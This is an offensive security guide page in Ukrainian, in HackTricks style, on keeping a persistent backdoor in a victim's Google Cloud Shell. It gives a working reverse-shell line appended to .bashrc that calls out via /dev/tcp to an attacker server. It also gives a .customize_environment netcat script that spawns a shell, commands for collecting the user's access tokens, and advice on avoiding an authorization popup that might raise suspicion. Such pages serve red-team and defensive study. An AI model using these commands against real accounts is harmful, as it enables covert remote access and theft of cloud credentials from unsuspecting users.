# GCP - Cloud Shell Persistence {{#include ../../../banners/hacktricks-training.md}} ## Cloud Shell Для отримання додаткової інформації перегляньте: {{#ref}} ../gcp-services/gcp-cloud-shell-enum.md {{#endref}} ### Постійний бекдор [**Google Cloud Shell**](https://cloud.google.com/shell/) надає вам доступ до командного рядка ваших хмарних ресурсів безпосередньо з вашого браузера без будь-яких супутніх витрат. Ви можете отримати доступ до Cloud Shell Google з **веб-консолі** або запустивши **`gcloud cloud-shell ssh`**. Ця консоль має деякі цікаві можливості для атакуючих: 1. **Будь-який користувач Google з доступом до Google Cloud** має доступ до повністю автентифікованого екземпляра Cloud Shell (Службові облікові записи можуть, навіть будучи власниками організації). 2. Цей екземпляр **зберігатиме свою домашню директорію принаймні 120 днів**, якщо не буде жодної активності. 3. **Немає можливостей для організації моніторити** активність цього екземпляра. Це в основному означає, що атакуючий може помістити бекдор у домашню директорію користувача, і поки користувач підключається до GC Shell принаймні кожні 120 днів, бекдор виживе, і атакуючий отримає оболонку щоразу, коли вона запускається, просто виконавши: ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ``` В домашній папці є ще один файл під назвою **`.customize_environment`**, який, якщо існує, буде **виконуватись щоразу**, коли користувач отримує доступ до **cloud shell** (як у попередній техніці). Просто вставте попередній бекдор або один з наступних, щоб підтримувати стійкість, поки користувач "часто" використовує cloud shell: ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ``` > [!WARNING] > Важливо зазначити, що **перший раз, коли виконується дія, що вимагає аутентифікації**, у браузері користувача з'являється вікно авторизації. Це вікно потрібно прийняти, перш ніж команда зможе виконатися. Якщо з'явиться несподіване вікно, це може викликати підозру і потенційно скомпрометувати метод збереження. Це вікно з'являється при виконанні `gcloud projects list` з cloud shell (як атакуючий), яке видно в сеансі браузера користувача:
Однак, якщо користувач активно використовував cloudshell, вікно не з'явиться, і ви можете **збирати токени користувача за допомогою**: ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ``` #### Як встановлюється з'єднання SSH В основному, використовуються ці 3 API виклики: - [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (дозволить вам додати ваш публічний ключ, який ви створили локально) - [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (дозволить вам запустити екземпляр) - [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (повідомить вам IP адресу google cloud shell) Але ви можете знайти додаткову інформацію в [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) ## Посилання - [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec) - [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) - [https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/](https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/) {{#include ../../../banners/hacktricks-training.md}}